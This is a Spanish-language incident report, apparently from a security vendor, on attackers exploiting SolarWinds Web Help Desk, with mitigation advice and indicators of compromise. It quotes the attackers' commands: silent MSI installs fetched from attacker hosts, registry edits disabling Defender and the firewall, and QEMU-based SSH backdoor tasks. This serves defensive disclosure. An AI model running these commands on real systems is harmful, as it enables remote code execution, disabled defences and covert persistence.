Agradecimientos: Un agradecimiento especial a Dipo Rodipe, Dray Agha y Lindon Wass por sus contribuciones a esta investigación y a este artículo.
Resumen: Huntress ha observado a actores de amenazas explotando una vulnerabilidad de SolarWinds Web Help Desk en 3 clientes; las organizaciones deben aplicar la actualización del sitio web de SolarWinds lo antes posible.
Contexto
El 7 de febrero de 2026, el analista del SOC de Huntress Dipo Rodipe investigó un caso de explotación de SolarWinds Web Help Desk, en el que el actor de amenazas implementó rápidamente Zoho Meetings y túneles de Cloudflare para persistencia, además de Velociraptor como medio de comando y control.
Esta intrusión se originó a partir de las numerosas vulnerabilidades reveladas recientemente que afectan a SolarWinds WHD. Las vulnerabilidades más críticas permiten a un adversario la ejecución arbitraria de código mediante deserialización no confiable; CVE-2025-40551 se agregó recientemente a la base de datos de Known Exploited Vulnerabilities de CISA, y CVE-2025-26399 fue analizada recientemente por Microsoft y otros proveedores que también han observado explotación activa en entornos reales.
Todas las versiones anteriores de SolarWinds Web Help Desk previas a 12.8.7 HF1 son vulnerables a estas vulnerabilidades. Puedes encontrar la versión de tu SolarWinds WHD en esta ruta:
C:\Program Files\WebHelpDesk\version.txt
Figura 1: Una vista de SolarWinds Web Help Desk
En toda nuestra base de socios, Huntress protege 84 endpoints en 78 organizaciones que usan SolarWinds Web Help Desk.
Observaciones de Huntress
Zoho Assist, pero convertido en malicioso
Huntress observó actividad activa de posexplotación proveniente de esta instancia comprometida de SolarWinds Web Help Desk (WHD).
La cadena de ataque se originó en wrapper.exe, el wrapper del servicio de WHD, que generó java.exe, la aplicación subyacente de WHD basada en Tomcat. Luego, el proceso de Java lanzó cmd.exe para instalar en silencio un payload MSI remoto mediante este comando:
msiexec /q /i hxxps://files.catbox[.]moe/tmp9fc.msi
El adversario aprovechó el servicio de alojamiento de archivos Catbox para preparar un agente RMM de Zoho ManageEngine, una herramienta legítima de administración remota que los actores de amenazas pueden usar indebidamente para mantener acceso persistente y manual al entorno comprometido. Esta actividad coincide con el aviso de Microsoft del 6 de febrero sobre la explotación activa de SolarWinds Web Help Desk, lo que confirma que los actores de amenazas están aprovechando activamente las vulnerabilidades de WHD como arma para lograr ejecución remota de código y desplegar herramientas adicionales en los entornos de las víctimas.
Curiosamente, el agente de Zoho Assist estaba configurado para acceso desatendido, registrando el endpoint comprometido en una cuenta de Zoho Assist vinculada a una dirección de Proton Mail, esmahyft@proton[.]me.
Una vez establecido el agente RMM de Zoho ManageEngine, el actor de amenazas no perdió tiempo en pasar a la actividad manual directa. Usando el proceso del agente RMM (TOOLSIQ.EXE) como punto de apoyo operativo, ejecutó comandos de reconocimiento de Active Directory para enumerar las máquinas unidas al dominio mediante net group "domain computers" /do, una técnica de reconocimiento clásica orientada a identificar objetivos viables para el movimiento lateral.
Figura 2: Detección de Huntress del reconocimiento de dominio y la entrega del payload MSI generados a partir del proceso del servicio de WHD (TOOLSIQ.EXE)
Poco después del reconocimiento inicial, el actor de amenazas aprovechó la sesión remota de Zoho Assist para desplegar Velociraptor, una herramienta legítima de código abierto para análisis forense digital y respuesta a incidentes (DFIR), en el endpoint comprometido. La instalación se realizó mediante una ejecución silenciosa de MSI, obteniendo el instalador desde un depósito de almacenamiento de Supabase controlado por el atacante:
msiexec /q /i hxxps://vdfccjpnedujhrzscjtq.supabase[.]co/storage/v1/object/public/image/v4.msi
¿Quién está ejecutando Velociraptor? El Blue Team no.
Si bien Velociraptor está diseñado para ayudar a los defensores con el monitoreo de endpoints y la recolección de artefactos, sus capacidades, como la ejecución remota de comandos, la recuperación de archivos y la ejecución de procesos mediante consultas VQL, lo hacen igual de eficaz como un framework de C2 cuando se apunta hacia infraestructura controlada por el atacante.
El archivo de configuración de Velociraptor descubierto tenía algunos componentes interesantes:
Esto demuestra que el adversario usó Velociraptor versión 0.73.4, una versión desactualizada conocida de Velociraptor con una vulnerabilidad de escalada de privilegios, que otros proveedores también han visto aprovechada en campañas anteriores.
La URL del servidor de Velociraptor, https://auth.qgtxtebl.workers[.]dev/, utiliza un Cloudflare Worker de la misma cuenta de Cloudflare que hemos visto antes en múltiples intrusiones que involucran explotación de ToolShell y despliegue de ransomware Warlock, identificada por el componente de identificador compartido por cuenta del subdominio: qgtxtebl.
Con el agente de Velociraptor instalado como un servicio de Windows, el actor de amenazas comenzó a ejecutar una secuencia rápida de comandos de PowerShell codificados a través del agente de Velociraptor, todos siguiendo el mismo patrón de ejecución: powershell.exe -ExecutionPolicy Unrestricted -encodedCommand. Esto es consistente con el método predeterminado de Velociraptor para ejecutar PowerShell en endpoints, donde los comandos se codifican en base64 (UTF-16LE) para evitar problemas con caracteres especiales y el escape de rutas.
Verificación de hash en el binario de VS Code
El primer comando observado del proceso de Velociraptor fue una verificación de hash de un archivo ya presente en el disco:
Get-FileHash "C:\ProgramData\Microsoft\code.exe"
El actor de amenazas luego descarga code.exe a esta misma ruta desde un bucket de almacenamiento de Supabase, lo que sugiere que esto fue una verificación previa para determinar si el binario necesitaba volver a descargarse. La ruta de archivo C:\ProgramData\Microsoft se mezcla con herramientas legítimas de Microsoft en sistemas Windows.
Instalación de Cloudflared
Poco después, el actor de amenazas instaló Cloudflared directamente desde la URL de lanzamiento oficial de GitHub:
msiexec /q /i hxxps://github[.]com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.msi
Esto establece un canal adicional basado en túnel junto con la conexión de C2 de Velociraptor existente, lo que le da al actor de amenazas acceso redundante al endpoint comprometido.
Exfiltración de reconocimiento del sistema hacia Elastic Cloud
Aquí es donde las cosas se ponen interesantes. A solo tres segundos de iniciada la secuencia, el actor de amenazas ejecutó un script de PowerShell que recolecta información completa del sistema y la envía directamente a una instancia de Elastic Cloud controlada por el atacante:
Get-ComputerInfo, que devuelve información detallada del sistema, incluyendo la versión del sistema operativo, las especificaciones de hardware, la membresía de dominio, los hotfixes instalados y más. Luego formatea la salida como NDJSON y la envía a un índice systeminfo de Elasticsearch mediante la API Bulk usando una clave de API codificada directamente en el script.
El uso de Elastic Cloud como backend de recolección de datos es una elección de técnica notable. El atacante aprovisionó su propia implementación de prueba gratuita de Elastic Cloud sobre la infraestructura SaaS legítima de Elastic alojada en GCP. En un giro irónico, el actor de amenazas esencialmente se construyó un SIEM, usando Elastic nada menos, para clasificar a sus víctimas. Cada endpoint comprometido envía su perfil completo del sistema a una instancia centralizada de Elasticsearch que el operador puede consultar, filtrar y ordenar a gran escala mediante Kibana. Las propias herramientas de Elastic, normalmente usadas por los defensores para la caza de amenazas y la respuesta a incidentes, fueron reutilizadas como un panel de gestión de víctimas del atacante.
Hemos reportado esta instancia maliciosa a Elastic, así como a las autoridades, y realizamos la notificación a las víctimas y el contacto con socios ajenos a Huntress. Tras nuestros esfuerzos de coordinación y colaboración, esperamos compartir pronto una “Parte 2” de este análisis con más detalles sobre la infraestructura y la actividad maliciosa del actor de amenazas.
Desactivación de Windows Defender y Windows Firewall
Tras una pausa de aproximadamente 84 segundos, el actor de amenazas pasó a desactivar los controles de seguridad mediante modificaciones del registro:
-
reg add "HKLM\SYSTEM\CurrentControlSet\Services\mpssvc" /v Start /t REG_DWORD /d 4 /f reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /freg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /freg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOAVProtection /t REG_DWORD /d 1 /freg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /freg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealTimeMonitoring /t REG_DWORD /d 1 /freg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpynetReporting /t REG_DWORD /d 0 /f
Descarga del binario del túnel de VS Code desde Supabase
Aproximadamente un segundo después de desactivar Defender, el actor de amenazas descargó una copia nueva del binario de VS Code:
code.exe existente en la misma ruta mediante Get-FileHash. El actor de amenazas parece revisar primero la copia preestablecida y luego descargar una copia nueva después de desactivar Defender. Si bien el actor de amenazas no llegó a usar code.exe, es posible que lo haya descargado por si necesitaba usarlo para crear túneles, como se vio en incidentes anteriores que también resultaron usar Velociraptor.
Mecanismo de conmutación por error de C2
Este es posiblemente uno de los comandos más interesantes desde el punto de vista operativo en toda la cadena. Ejecutado con la misma marca de tiempo que la descarga de VS Code, este script implementa un mecanismo de conmutación por error de C2 en vivo para el agente de Velociraptor:
El script sondea v2-api.mooo[.]com en el endpoint /reader. Si el servidor responde con un código de estado HTTP 406 (Not Acceptable), el script reescribe el archivo client.config.yaml de Velociraptor en el disco, reemplazando el dominio C2 actual auth.qgtxtebl.workers[.]dev por v2-api.mooo[.]com, y reinicia el servicio de Velociraptor para aplicar la nueva configuración.
Esta es una migración de C2 basada en señales: el HTTP 406 actúa como un disparador del operador que indica que “el dominio worker.dev está quemado, y hay que cambiar al de respaldo”. Si el endpoint devuelve algo distinto de un 406, o no está disponible, la configuración se mantiene sin cambios y Velociraptor sigue comunicándose con el dominio original de Cloudflare Workers. Esto le da al operador la capacidad de rotar dinámicamente la infraestructura de C2 en toda su flota de endpoints comprometidos con solo alternar el código de respuesta HTTP en el servidor de respaldo.
Recopilación de información del sistema
El último comando de reconocimiento en la secuencia fue una simple ejecución del comando systeminfo, probablemente como método de recopilación secundario o como medida de redundancia en caso de que la exfiltración anterior basada en PowerShell hacia Elastic Cloud no hubiera tenido éxito.
Reinicio del servicio de Velociraptor
El último evento observado en esta cadena fue el reinicio del servicio de Velociraptor a las 12:38:41 UTC, coherente con el script de conmutación por error de C2 que ejecuta Restart-Service Velociraptor -Force:
C:\Program Files\Velociraptor\Velociraptor.exe --config "C:\Program Files\Velociraptor\/client.config.yaml" service run
Persistencia usando QEMU
También encontramos casos en los que las máquinas de las víctimas mostraban los signos reveladores de compromiso vistos en informes anteriores relacionados con una tarea programada llamada TPMProfiler. Si bien existen tareas legítimas que comienzan con “TPM” (como Trusted Platform Module), este nombre en particular solo se ha visto como malicioso en todos los endpoints que hemos observado.
Cada una de estas tareas programadas usó QEMU para abrir una puerta trasera SSH como mecanismo de persistencia. En un caso, QEMU ya no estaba en la máquina, que llegó comprometida. No está claro si el atacante eliminó rastros de su actividad, o si esa parte del ataque simplemente no tuvo éxito en general. La instancia más antigua conocida de este mecanismo de persistencia se instaló el 16 de enero de 2026, a las 21:24:40 UTC. Esto nos puede dar una posible línea de tiempo de cuándo pudieron haber comenzado realmente estos ataques.
Figura 3: Ejemplo de la tarea programada TPMProfiler
Aunque hubo múltiples componentes en esta intrusión e investigación, a continuación se muestra una línea de tiempo visual de la actividad observada del actor de amenazas.
Figura 4: Línea de tiempo de las actividades del atacante
Guía de mitigación
Para proteger mejor a tu organización contra la explotación de SolarWinds Web Help Desk, recomendamos encarecidamente lo siguiente:
- Actualiza SolarWinds Web Help Desk a la versión 2026.1 o posterior, que soluciona CVE-2025-26399, CVE-2025-40536, y CVE-2025-40551. Todas las versiones anteriores deben considerarse vulnerables. Consulta la guía de actualización de SolarWinds para obtener instrucciones.
- Las interfaces administrativas de WHD no deben ser accesibles públicamente. Coloca WHD detrás de una VPN o firewall y elimina el acceso directo a internet a las rutas de administración.
- Restablece las contraseñas de todas las cuentas de servicio, cuentas de administrador y cualquier credencial accesible a través de la aplicación WHD o almacenada en ella.
- Revisa los hosts de WHD en busca de herramientas de acceso remoto no autorizadas (Zoho Assist, Velociraptor, Cloudflared, túneles de VS Code), servicios inesperados, ejecución de PowerShell codificada e instalaciones silenciosas de MSI generadas por el proceso del servicio WHD (java.exe / wrapper.exe).
¿Qué está haciendo Huntress?
Huntress cuenta con detecciones para identificar actividad posterior a la explotación derivada de instancias comprometidas de SolarWinds Web Help Desk. Huntress continúa monitoreando activamente esta amenaza en toda nuestra base de socios.
Además, preparamos un artículo de la base de conocimientos con los datos clave para que los compartas con tus equipos.
Sigma
Las reglas de Sigma relevantes para detectar este tipo de actividad se pueden encontrar en nuestro repositorio de GitHub de Threat Intel. También se han proporcionado gists para mayor comodidad:
Indicadores de compromiso (IOC)
|
Elemento |
Descripción |
|
https://files.catbox[.]moe/tmp9fc.msi SHA256: 897eae49e6c32de3f4bfa229ad4f2d6e56bcf7a39c6c962d02e5c85cd538a189 |
Instalador de Zoho Meetings |
|
https://vdfccjpnedujhrzscjtq.supabase[.]co/storage/v1/object/public/image/v4.msi SHA256: | Instalador de Velociraptor |
|
https://auth.qgtxtebl.workers[.]dev/ |
URL del servidor de Velociraptor |
|
https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.msi |
Instalador de Cloudfared |
|
https://vdfccjpnedujhrzscjtq.supabase[.]co/storage/v1/object/public/image/code.txt C:\ProgramData\Microsoft\code.exe SHA256: 34b2a6c334813adb2cc70f5bd666c4afbdc4a6d8a58cc1c7a902b13bbd2381f4 |
Versión portátil de VSCode |
|
esmahyft@proton[.]me |
Correo electrónico de la cuenta de Zoho Assist |
|
v2-api.mooo[.]com |
Dominio de respaldo de Velociraptor |
|
client.config.yaml |
Archivo de configuración de Velociraptor |
|
Ruta de la tarea: C:\Windows\System32\Tasks\TPMProfiler Comando: C:\Users\[user]\tmp\qemu-system-x86_64.exe -m 1G -smp 1 -hda vault.db -device e1000,netdev=net0 -netdev user,id=net0,hostfwd=tcp::22022-:22 |
Tarea programada (persistencia) |
|
Ruta de la tarea: C:\Windows\System32\Tasks\TPMProfiler Comando: C:\Users\[user]\local\qemu-system-x86_64 -m 1G -smp 1 -hda bisrv.dll -device e1000,netdev=net0 -netdev user,id=net0,hostfwd=tcp::32567-:22 |
Tarea programada (persistencia) |